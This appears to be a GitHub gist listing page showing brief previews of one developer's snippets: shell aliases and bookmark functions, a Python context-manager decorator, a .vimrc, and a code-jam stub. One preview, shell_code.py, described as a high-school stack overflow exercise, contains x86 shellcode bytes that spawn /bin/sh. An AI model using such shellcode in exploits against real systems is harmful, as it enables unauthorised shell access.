Skip to content

Instantly share code, notes, and snippets.

View vmeyet's full-sized avatar
👨‍💻
Coding

Meyet Vivien vmeyet

👨‍💻
Coding
View GitHub Profile
@vmeyet
vmeyet / codeship
Last active August 29, 2015 14:23
Set up
curl -fsSL https://gist.githubusercontent.com/vmeyet/dbb3e52717683d99e0d1/raw/fc6bb235b1d10d2bbe92810dfa05c6d9a5419e21/.vimrc > $HOME/.vimrc
alias bspec="bundle exec rspec"
export MARKPATH=$HOME/.marks
function jump {
cd -P "$MARKPATH/$1" 2>/dev/null || echo "No such mark: $1"
}
function mark {
mkdir -p "$MARKPATH"; ln -s "$(pwd)" "$MARKPATH/$1"
}
function unmark {
rm -i "$MARKPATH/$1"
}
@vmeyet
vmeyet / decontext.py
Last active August 29, 2015 14:06
context_manager to decorator
import functools
from contextlib import contextmanager
def context_to_decorator(context_manager):
def decorator_maker(*args_context, **kwargs_context):
def decorator(func):
@functools.wraps(func)
def wrapped(*args, **kwargs):
with context_manager(*args_context, **kwargs_context):
ret_val = func(*args, **kwargs)
scriptencoding utf-8
set encoding=utf-8
" {{{ settings
set nocompatible " Use Vim defaults instead of 100% vi compatibility
set backspace=indent,eol,start " more powerful backspacing
set autoindent " always set auto-indenting on
set hidden " allow to cycle and hide modified buffers
set nobackup " Don't keep a backup file
@vmeyet
vmeyet / shell_code.py
Created April 22, 2014 15:16
Stack Overflow (for fun during highschool)
#!/usr/bin/env python
# -*- coding:utf-8 -*-
MAX_SIZE = 512
NOOP = '\x90'
# Spawn a shell
SHELL_CODE = (
'\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f'
'\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80')
@vmeyet
vmeyet / jam.py
Last active August 29, 2015 13:58
Code Review
import sys
class NoSolutionError(Exception):
pass
class ProblemSolved(Exception):
pass